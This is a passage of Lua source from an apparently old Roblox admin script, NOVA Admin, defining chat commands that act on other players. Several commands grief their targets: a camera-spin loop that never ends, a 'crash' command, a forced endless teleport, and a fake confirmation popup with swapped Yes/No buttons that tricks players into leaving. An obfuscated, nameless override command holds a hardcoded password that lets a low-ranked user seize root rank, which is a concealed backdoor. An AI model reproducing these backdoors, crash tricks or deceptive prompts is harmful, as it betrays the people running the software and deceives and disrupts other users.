  3222. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  3223. function(Msg,Speaker)
  3224. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3225. CreateLocalScript([[
  3226. script.Parent = nil
  3227. LocalPlayer = game.Players.LocalPlayer
  3228. Camera = workspace.CurrentCamera
  3229. Camera.CameraType = "Scriptable"
  3230. for i=1,700 do
  3231. wait()
  3232. Camera = workspace.CurrentCamera
  3233. Camera.CameraType = "Scriptable"
  3234. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3235. Camera.CameraType = "Scriptable"
  3236. Camera:SetRoll(Camera:GetRoll()+0.01)
  3237. pcall(function()
  3238. LocalPlayer.Character.Head.Sound:Play()
  3239. end)
  3240. end
  3241. Camera:SetRoll(0)
  3242. Camera.CameraType = "Custom"
  3243. Camera.FieldOfView = 70
  3244. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3245. ]],v.Backpack)
  3246. end
  3247. end
  3248. )
  3249.  
  3250. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  3251. function(Msg,Speaker)
  3252. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3253. CreateLocalScript([[
  3254. script.Parent = nil
  3255. LocalPlayer = game.Players.LocalPlayer
  3256. Camera = workspace.CurrentCamera
  3257. Camera.CameraType = "Scriptable"
  3258. for i=1,math.huge do
  3259. wait()
  3260. Camera = workspace.CurrentCamera
  3261. Camera.CameraType = "Scriptable"
  3262. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3263. Camera.CameraType = "Scriptable"
  3264. Camera:SetRoll(Camera:GetRoll()+0.01)
  3265. pcall(function()
  3266. LocalPlayer.Character.Head.Sound:Play()
  3267. end)
  3268. end
  3269. Camera:SetRoll(0)
  3270. Camera.CameraType = "Custom"
  3271. Camera.FieldOfView = 70
  3272. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3273. ]],v.Backpack)
  3274. end
  3275. end
  3276. )
  3277.  
  3278. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  3279. function(Msg,Speaker)
  3280. for _,v in pairs(NOVA.Credit) do
  3281. Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  3282. end
  3283. end
  3284. )
  3285.  
  3286. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  3287. function(Msg,Speaker)
  3288. pcall(function()
  3289. Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3290. Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  3291. Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  3292. end)
  3293. end
  3294. )
  3295.  
  3296. AddCommand("Time","time",1,"Changes the time.","<Number>",
  3297. function(Msg,Speaker)
  3298. NOVA.Services.Lighting.TimeOfDay = Msg
  3299. end
  3300. )
  3301.  
  3302. AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
  3303. function(Msg,Speaker)
  3304. NOVA.Services.Lighting.FogEnd = Msg
  3305. end
  3306. )
  3307.  
  3308. AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
  3309. function(Msg,Speaker)
  3310. NOVA.Services.Lighting.FogStart = Msg
  3311. end
  3312. )
  3313.  
  3314. AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
  3315. function(Msg,Speaker)
  3316. if Msg == "red" then Color = NOVA.Colors.Red
  3317. elseif Msg == "black" then Color = NOVA.Colors.Black
  3318. elseif Msg == "white" then Color = NOVA.Colors.White
  3319. elseif Msg == "orange" then Color = NOVA.Colors.Orange
  3320. elseif Msg == "green" then Color = NOVA.Colors.Green
  3321. elseif Msg == "blue" then Color = NOVA.Colors.Blue
  3322. end
  3323. NOVA.Services.Lighting.FogColor = Color
  3324. end
  3325. )
  3326. --deride
  3327. AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
  3328. function(Msg,Speaker)
  3329. CanOverride = false
  3330. if GetRank(Speaker) < 6 then
  3331. if Msg == "0055" then
  3332. CanOverride = true
  3333. else
  3334. Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
  3335. end
  3336. else
  3337. CanOverride = true
  3338. end
  3339. if NOVA.Overrided == true then
  3340. CanOverride = false
  3341. Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
  3342. return
  3343. end
  3344. if CanOverride == true then
  3345. NOVA.Overrided = true
  3346. NOVA.Overrider = Speaker
  3347. --[[for _,v in pairs(NOVA.Ranked) do
  3348. if v.Rank < 6 then
  3349. v.Rank = v.Rank / 10
  3350. end
  3351. end]]
  3352. --[[ CF = Speaker.Character.Torso.CFrame
  3353. Sound = Instance.new("Sound",workspace)
  3354. Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
  3355. Sound.Pitch = 0.2
  3356. Sound.Volume = 1
  3357. wait()
  3358. Sound:Play()
  3359. Shockwave = Instance.new("Part",workspace)
  3360. Shockwave.FormFactor = "Custom"
  3361. Shockwave.Name = "Shockwave"
  3362. Shockwave.Anchored = true
  3363. Shockwave.CanCollide = false
  3364. Shockwave.Transparency = 0
  3365. Shockwave.Reflectance = 0
  3366. Shockwave.BrickColor = BrickColor.new(0,0,0)
  3367. Shockwave.Size = Vector3.new(0,0,0)
  3368. ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
  3369. ShockwaveMesh.MeshType = "FileMesh"
  3370. ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3371. ShockwaveMesh.Scale = Vector3.new(1,1,100)
  3372.  
  3373. for Times = 1,10 do
  3374. coroutine.resume(coroutine.create(function()
  3375. for i=1,1000 do
  3376. wait()
  3377. ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
  3378. Shockwave.CFrame = CF
  3379. * CFrame.new(0,0,0)
  3380. * CFrame.Angles(math.rad(90),0,0)
  3381. Shockwave.Transparency = i/100
  3382. end
  3383. Shockwave:Remove()
  3384. Sound:Remove()
  3385. end))
  3386. end
  3387.  
  3388. ]]
  3389. GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
  3390. Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
  3391. Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
  3392. Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
  3393. OnChatted(NOVA.Bet .. "fence/me",Speaker)
  3394. end
  3395. return CanOverride
  3396. end
  3397. )
  3398.  
  3399. AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
  3400. function(Msg,Speaker)
  3401. NOVA.Overrided = false
  3402. for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
  3403. NOVA.Targeted = {};
  3404. NOVA.Waypoints = {};
  3405. NOVA.Log = {};
  3406. NOVA.LoggedScripts = {};
  3407. NOVA.PRI = false;
  3408. NOVA.LockedScripts = false;
  3409. NOVA.Removed = false;
  3410. NOVA.ShowChat = true;
  3411. NOVA.Canceled = false;
  3412. NOVA.TimeChanged = false;
  3413. NOVA.Overrider = nil
  3414. for _,v in pairs(NOVA.Ranked) do
  3415. if #tostring(v.Rank) == 3 then
  3416. if tostring(v.Rank):sub(1,1) == "8" then
  3417. v.Rank = (v.Rank - 8) * 10
  3418. else
  3419. --v.Rank = v.Rank * 10
  3420. end
  3421. end
  3422. end
  3423. end
  3424. )
  3425.  
  3426. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  3427. function(Msg,Speaker)
  3428.  
  3429. Split = GetSplit(Msg)
  3430.  
  3431. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3432. OnChatted(Msg:sub(Split),v)
  3433. end
  3434. end
  3435. )
  3436.  
  3437. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  3438. function(Msg,Speaker)
  3439.  
  3440. Split = GetSplit(Msg)
  3441.  
  3442. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3443. Output(Msg:sub(Split+1),"Random",v,10)
  3444. end
  3445. end
  3446. )
  3447.  
  3448. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  3449. function(Msg,Speaker)
  3450. Split = GetSplit(Msg)
  3451. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3452. pcall(function()
  3453. v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  3454. end)
  3455. end
  3456. end
  3457. )
  3458.  
  3459. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  3460. function(Msg,Speaker)
  3461. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3462. for i=1,6 do
  3463. local Cube = Instance.new("Part",NOVA.Services.Workspace)
  3464. Cube.FormFactor = "Custom"
  3465. Cube.Size = Vector3.new(10,7,5)
  3466. Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3467. Cube.Anchored = false
  3468. Cube.CanCollide = true
  3469. Cube.Locked = true
  3470. Cube.Friction = 0
  3471. Cube.Transparency= 0
  3472. Cube.Reflectance = 0.5
  3473. Cube:BreakJoints()
  3474. Cube.CFrame = v.Character.Torso.CFrame
  3475.  
  3476. local Mesh = Instance.new("SpecialMesh",Cube)
  3477. Mesh.MeshType = "FileMesh"
  3478. Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
  3479. Mesh.Scale = Vector3.new(0.1,0.1,0.1)
  3480.  
  3481. Cube.Touched:connect(function(part)
  3482. --if part == v.Character.Torso then
  3483. part:BreakJoints()
  3484. NOVA.Services.Debris:AddItem(Cube,20)
  3485. --end
  3486. end)
  3487. end
  3488. end
  3489. end
  3490. )
  3491.  
  3492. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  3493. function(Msg,Speaker)
  3494. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3495. pcall(function()
  3496. v.PlayerGui:ClearAllChildren()
  3497. end)
  3498. end
  3499. end
  3500. )
  3501.  
  3502. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  3503. function(Msg,Speaker)
  3504. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3505. pcall(function()
  3506. v.PlayerGui:Destroy()
  3507. end)
  3508. end
  3509. end
  3510. )
  3511.  
  3512. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  3513. function(Msg,Speaker)
  3514. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3515. pcall(function()
  3516. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3517. if part:IsA("BasePart") then
  3518. Instance.new("Fire",part)
  3519. end
  3520. end
  3521. end)
  3522. end
  3523. end
  3524. )
  3525.  
  3526. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  3527. function(Msg,Speaker)
  3528. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3529. pcall(function()
  3530. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3531. if part:IsA("Fire") then
  3532. part:Destroy()
  3533. end
  3534. end
  3535. end)
  3536. end
  3537. end
  3538. )
  3539.  
  3540. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  3541. function(Msg,Speaker)
  3542. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3543. pcall(function()
  3544. coroutine.resume(coroutine.create(function()
  3545. local Fire = Instance.new("Fire",v.Character.Torso)
  3546. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3547. if part:IsA("BasePart") then
  3548. Instance.new("Fire",part)
  3549. end
  3550. end
  3551. wait()
  3552. for i=1,math.huge do
  3553. if Fire.Parent == nil then break end
  3554. if v.Character.Humanoid == nil then break end
  3555. if v.Character.Humanoid.Health <= 0 then break end
  3556. v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  3557. wait(math.random(0,1))
  3558. end
  3559. end))
  3560. end)
  3561. end
  3562. end
  3563. )
  3564.  
  3565. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  3566. function(Msg,Speaker)
  3567. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3568. pcall(function()
  3569. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3570. end)
  3571. end
  3572. end
  3573. )
  3574.  
  3575. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  3576. function(Msg,Speaker)
  3577. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3578. pcall(function()
  3579. v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  3580. end)
  3581. end
  3582. end
  3583. )
  3584.  
  3585. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  3586. function(Msg,Speaker)
  3587. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3588. Cape(v)
  3589. end
  3590. end
  3591. )
  3592.  
  3593. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  3594. function(Msg,Speaker)
  3595. coroutine.resume(coroutine.create(function()
  3596.  
  3597. Material = math.random(1,16)
  3598. Cap = 1000
  3599. GenNum = 50
  3600. Size = 100
  3601. Type = math.random(0,4)
  3602. for i=1, Cap do
  3603. --wait()
  3604. for i=1,GenNum do
  3605. Material = math.random(1,16)
  3606. Type = math.random(0,4)
  3607. X = math.random((Size/2)*-1,Size/2)
  3608. Y = math.random(-1,Size-1)
  3609. Z = math.random((Size/2)*-1,Size/2)
  3610. NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  3611. end
  3612. end
  3613. end))
  3614. end
  3615. )
  3616.  
  3617. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",
  3618. function(Msg,Speaker)
  3619. NOVA.Services.Workspace.Terrain:Clear()
  3620. end
  3621. )
  3622.  
  3623. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  3624. function(Msg,Speaker)
  3625. coroutine.resume(coroutine.create(function()
  3626. size = Vector3.new(700, 12, 700)
  3627. for X=(size.x/2)*-1,size.x/2 do
  3628. for Y=-1, size.y-1 do
  3629. for Z=(size.z/2)*-1, size.z/2 do
  3630. NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  3631. end
  3632. end
  3633. --wait(tonumber("0."..string.rep("0",10000).."1"))
  3634. end
  3635. end))
  3636. end
  3637. )
  3638.  
  3639. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  3640. function(Msg,Speaker)
  3641. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3642. Char = v.Character
  3643. pcall(function() Char["Shirt Graphic"]:Remove() end)
  3644. pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  3645. pcall(function() Char["Body Colors"]:Remove() end)
  3646. pcall(function() Char.Torso.roblox:Remove() end)
  3647. pcall(function() Char.Shirt:Remove() end)
  3648. pcall(function() Char.Pants:Remove() end)
  3649. wait()
  3650. for _,v in pairs(GetRecursiveChildren(Char)) do
  3651. pcall(function()
  3652. v.TextureId = "" v.VertexColor = NOVA.Colors.Black
  3653. end)
  3654. pcall(function()
  3655. v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
  3656. v.Reflectance = 0
  3657. v.TopSurface = "Smooth"
  3658. a.BottomSurfave = "Smooth"
  3659. end)
  3660. end
  3661. end
  3662. end
  3663. )
  3664.  
  3665. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  3666. function(Msg,Speaker)
  3667. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3668. v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  3669. wait()
  3670. v.Character:BreakJoints()
  3671. end
  3672. end
  3673. )
  3674.  
  3675. AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
  3676. function(Msg,Speaker)
  3677. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3678. local Part = Instance.new("Part",v.Character)
  3679. Part.Name = "Horus"
  3680. Part.Size = Vector3.new(2,2,2)
  3681. Part.CanCollide = false
  3682. Part.Locked = true
  3683. Part:BreakJoints()
  3684. local Weld = Instance.new("Weld",Part)
  3685. Weld.Part0 = Part
  3686. Weld.Part1 = v.Character.Head
  3687. Weld.C0 = CFrame.new(0,-0.5,0)
  3688. local Mesh = Instance.new("SpecialMesh",Part)
  3689. Mesh.MeshType = "FileMesh"
  3690. Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
  3691. Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
  3692. for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
  3693. v:Remove()
  3694. end
  3695. pcall(function()
  3696. v.Character.Pants:Remove()
  3697. end)
  3698. pcall(function()
  3699. v.Character.Shirt:Remove()
  3700. end)
  3701. local Shirt = Instance.new("Shirt",v.Character)
  3702. Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
  3703. local Pants = Instance.new("Pants",v.Character)
  3704. Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
  3705. end
  3706. end
  3707. )
  3708.  
  3709. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  3710. function(Msg,Speaker)
  3711. Split = GetSplit(Msg)
  3712. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3713. v.Neutral = Msg:sub(Split+1)
  3714. end
  3715. end
  3716. )
  3717.  
  3718. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  3719. function(Msg,Speaker)
  3720. MainCFrame = CFrame.new(0,3,15)
  3721. * CFrame.Angles(0,math.rad(90),0)
  3722. local Special = {}
  3723. pcall(function() workspace["NOVA Portal"]:Remove() end)
  3724. local Model = Instance.new("Model",workspace)
  3725. Model.Name = "NOVA Portal"
  3726. for angle=1,360/4 do
  3727. local Part = Instance.new("Part",Model)
  3728. Part.Name = "Part"
  3729. Part.FormFactor = "Custom"
  3730. Part.CanCollide = true
  3731. Part.Anchored = true
  3732. Part.Locked = true
  3733. Part.Transparency = 0
  3734. Part.Reflectance = 0
  3735. Part.Size = Vector3.new(1,5/2,1)
  3736. Part.BrickColor = BrickColor.new("Navy blue")
  3737. Part.CFrame = MainCFrame
  3738. * CFrame.Angles(math.rad(angle*4), 0, 0)
  3739. * CFrame.new(0, 15/2, i)
  3740. --wait(0)
  3741. Instance.new("BlockMesh",Part)
  3742. for num=0,1000,5 do
  3743. if angle==num then
  3744. wait()
  3745. table.insert(Special,Part)
  3746. --Part.Reflectance = 1
  3747. Part.Size = Vector3.new(0.9,5/2,0.9)
  3748. Part.CFrame = MainCFrame
  3749. * CFrame.Angles(math.rad(angle*4), 0, 0)
  3750. * CFrame.new(0, 15/2, i)
  3751. end
  3752. end
  3753. end
  3754.  
  3755. for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  3756.  
  3757. local Part = Instance.new("Part",Model)
  3758. Part.Name = "Part"
  3759. Part.FormFactor = "Custom"
  3760. Part.CanCollide = false
  3761. Part.Anchored = true
  3762. Part.Locked = true
  3763. Part.TopSurface = "Smooth"
  3764. Part.BottomSurface = "Smooth"
  3765. Part.Transparency = 0.5
  3766. Part.Reflectance = 0
  3767. Part.Size = Vector3.new(0.2,0.2,0.2)
  3768. Part.BrickColor = BrickColor.new("Really black")
  3769. Part.CFrame = MainCFrame
  3770. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3771. * CFrame.new(0, 0, 0)
  3772. Instance.new("CylinderMesh",Part)
  3773.  
  3774. for i=0.2,51/4,0.5 do
  3775. wait()
  3776. Part.Size = Vector3.new(i,0.9,i)
  3777. Part.CFrame = MainCFrame
  3778. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3779. * CFrame.new(0, 0, 0)
  3780. end
  3781.  
  3782. coroutine.resume(coroutine.create(function()
  3783. while true do wait()
  3784. for i=0,1,0.01 do wait() Part.Reflectance = i end
  3785. for i=1,0,-0.01 do wait() Part.Reflectance = i end
  3786. end
  3787. end))
  3788.  
  3789. Part.Touched:connect(function(Part)
  3790. Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  3791. if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  3792. --print(Player.Name.." touched.")
  3793. CreateLocalScript([==[
  3794. LocalPlayer = game:GetService("Players").LocalPlayer
  3795. Places = {
  3796. {Name = "Oxcool1 SB",ID = 20279777};
  3797. {Name = "Oxcool1 PRI SB", ID = 20132544};
  3798. {Name = "TNS SB", ID = 23232804};
  3799. {Name = "BrainWart SB", ID = 76809211};
  3800. {Name = "nb SB",ID = 113456};
  3801. {Name = "nb SB (2)",ID = 56786};
  3802. {Name = "Insert Wars",ID = 13329886};
  3803. {Name = "tus sb", ID = 49907749};
  3804. }
  3805. pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  3806. local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3807. Main.Name = "NOVA Teleport"
  3808. script.Parent = Main
  3809.  
  3810. local Frame = Instance.new("Frame",Main)
  3811. Frame.Size = UDim2.new(0.27,0,0.05,0)
  3812. Frame.Position = UDim2.new(0.,0,0.2,0)
  3813. Frame.Style = "RobloxSquare"
  3814.  
  3815. local Txt = Instance.new("TextBox",Frame)
  3816. Txt.Size = UDim2.new(0.7,0,1,0)
  3817. Txt.BackgroundTransparency = 1
  3818. Txt.FontSize = "Size14"
  3819. Txt.TextColor3 = Color3.new(1,1,1)
  3820. Txt.Text = "ID/Name Here"
  3821.  
  3822. local Close = Instance.new("TextButton",Frame)
  3823. Close.Size = UDim2.new(0.1,0,1,0)
  3824. Close.Position = UDim2.new(0.9,0,0,0)
  3825. Close.Text = "X"
  3826. Close.BackgroundTransparency = 1
  3827. Close.FontSize = "Size14"
  3828. Close.TextColor3 = Color3.new(1,0,0)
  3829. Close.MouseButton1Down:connect(function()
  3830. Main:Remove()
  3831. end)
  3832.  
  3833. local Exe = Instance.new("TextButton",Frame)
  3834. Exe.Size = UDim2.new(0.2,0,1,0)
  3835. Exe.Position = UDim2.new(0.6,0,0,0)
  3836. Exe.Text = "Teleport"
  3837. Exe.BackgroundTransparency = 1
  3838. Exe.FontSize = "Size14"
  3839. Exe.TextColor3 = Color3.new(1,0,0)
  3840. Exe.MouseButton1Down:connect(function()
  3841. GoTo = Txt.Text
  3842. for _,v in pairs(Places) do
  3843. if Txt.Text:lower() == v.Name:lower() then
  3844. GoTo = v.ID
  3845. end
  3846. end
  3847. game:GetService'TeleportService':Teleport(GoTo)
  3848. Main:Remove()
  3849. end)
  3850.  
  3851. List = Instance.new("Frame",Main)
  3852. List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3853. List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3854. List.Style = "RobloxSquare"
  3855.  
  3856. for NUM,v in pairs(Places) do
  3857. Name = Instance.new("TextButton",List)
  3858. Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3859. Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3860. Name.BackgroundTransparency = 1
  3861. Name.FontSize = "Size14"
  3862. Name.TextColor3 = Color3.new(1,1,1)
  3863. Name.Text = v.Name
  3864. Name.MouseButton1Down:connect(function()
  3865. game:GetService'TeleportService':Teleport(v.ID)
  3866. end)
  3867. ID = Instance.new("TextButton",List)
  3868. ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3869. ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3870. ID.BackgroundTransparency = 1
  3871. ID.FontSize = "Size14"
  3872. ID.TextColor3 = Color3.new(1,1,1)
  3873. ID.Text = v.ID
  3874. ID.MouseButton1Down:connect(function()
  3875. game:GetService'TeleportService':Teleport(v.ID)
  3876. end)
  3877. end
  3878. ]==],Player.Backpack)
  3879. end
  3880. end)
  3881. end
  3882. )
  3883.  
  3884. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
  3885. function(Msg,Speaker)
  3886. GetSplit(Msg)
  3887. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3888. CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3889. end
  3890. end
  3891. )
  3892.  
  3893. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
  3894. function(Msg,Speaker)
  3895. Split = GetSplit(Msg)
  3896. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3897. CreateLocalScript([==[
  3898. script.Parent = nil
  3899. while true do wait()
  3900. game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3901. end
  3902. ]==],v.Backpack)
  3903. end
  3904. end
  3905. )
  3906.  
  3907. AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
  3908. function(Msg,Speaker)
  3909. Split = GetSplit(Msg)
  3910. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3911. pcall(function()
  3912. CreateLocalScript([[
  3913. LocalPlayer = game.Players.LocalPlayer
  3914. script.Parent = nil
  3915. ScreenGui = Instance.new("ScreenGui")
  3916. ScreenGui.Name = "Trololol"
  3917. Frame = Instance.new("Frame",ScreenGui)
  3918. Frame.Name = "Popup"
  3919. Frame.Style = "RobloxRound"
  3920. Frame.Size = UDim2.new(0, 330, 0, 350)
  3921. Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
  3922. Frame.Active = true
  3923. Frame.ZIndex = 9
  3924.  
  3925. Image = Instance.new("ImageLabel",Frame)
  3926. Image.Name = "Backing"
  3927. Image.Image = "http://www.roblox.com/asset/?id=47574181"
  3928. Image.Active = true
  3929. Image.Size = UDim2.new(0, 280, 0, 280)
  3930. Image.Position = UDim2.new(0.5, -140, 0, 0)
  3931. Image.BackgroundTransparency = 1
  3932. Image.ZIndex = 8
  3933.  
  3934. Text = Instance.new("TextLabel",Frame)
  3935. Text.Name = "Popup Text"
  3936. Text.Text = "Are you sure you want to teleport from this place?"
  3937. Text.FontSize = "Size36"
  3938. Text.TextWrap = true
  3939. Text.Active = true
  3940. Text.TextColor3 = Color3.new(1,1,1)
  3941. Text.Size = UDim2.new(1, 0, 0.800000012, 0)
  3942. Text.Position = UDim2.new(0,0,0,0)
  3943. Text.BackgroundTransparency = 1
  3944. Text.ZIndex = 10
  3945.  
  3946. Accept = Instance.new("TextButton",Frame)
  3947. Accept.Name = "AcceptButton"
  3948. Accept.Text = "No"
  3949. Accept.Style = "RobloxButton"
  3950. Accept.FontSize = "Size24"
  3951. Accept.Active = true
  3952. Accept.TextColor3 = Color3.new(1,1,1)
  3953. Accept.Size = UDim2.new(0, 100, 0, 50)
  3954. Accept.Position = UDim2.new(0,20,0,270)
  3955. Accept.ZIndex = 10
  3956.  
  3957. Decline = Instance.new("TextButton",Frame)
  3958. Decline.Name = "DeclineButton"
  3959. Decline.Text = "Yes"
  3960. Decline.Style = "RobloxButton"
  3961. Decline.FontSize = "Size24"
  3962. Decline.Active = true
  3963. Decline.TextColor3 = Color3.new(1,1,1)
  3964. Decline.Size = UDim2.new(0, 100, 0, 50)
  3965. Decline.Position = UDim2.new(1, -120, 0, 270)
  3966. Decline.ZIndex = 10
  3967.  
  3968. Darken = Instance.new("Frame",Frame)
  3969. Darken.Name = "Darken"
  3970. Darken.Style = "RobloxRound"
  3971. Darken.Size = UDim2.new(1,16,1,16)
  3972. Darken.Position = UDim2.new(0,-8,0,-8)
  3973. Darken.Active = true
  3974. Darken.Visible = false
  3975.  
  3976. Backing = Instance.new("Frame",ScreenGui)
  3977. Backing.Name = "Backing"
  3978. Backing.BackgroundColor3 = Color3.new(1,1,1)
  3979. Backing.Size = UDim2.new(1,0,1,0)
  3980. Backing.Active = true
  3981. ScreenGui.Parent = game:GetService("CoreGui")
  3982.  
  3983. while true do wait()
  3984. game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
  3985. end
  3986.  
  3987.  
  3988. ]],v.Backpack)
  3989. end)
  3990. end
  3991. end
  3992. )
  3993.  
  3994. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  3995. function(Msg,Speaker)
  3996. coroutine.resume(coroutine.create(function()
  3997. NOVA.Services.Lighting.TimeOfDay = 0
  3998. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  3999. NOVA.Services.Lighting.Brightness = 0
  4000. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  4001. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  4002. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  4003.  
  4004. for _,v in pairs(GetRecursiveChildren(workspace)) do
  4005. if v:IsA("BasePart") then
  4006. Sel = Instance.new("SelectionBox",v)
  4007. Sel.Color = BrickColor.new("Really red")
  4008. Sel.Transparency = 0
  4009. Sel.Adornee = v
  4010. end
  4011. end
  4012. for i=10,1,-1 do
  4013. NOVA.Sounds.Sound.Parent = workspace
  4014. NOVA.Sounds.Sound.Volume = 1
  4015. NOVA.Sounds.Sound.Pitch = 1
  4016. NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  4017. wait(1)
  4018. NOVA.Sounds.Sound:Play()
  4019. if NOVA.Overrided == true then return end
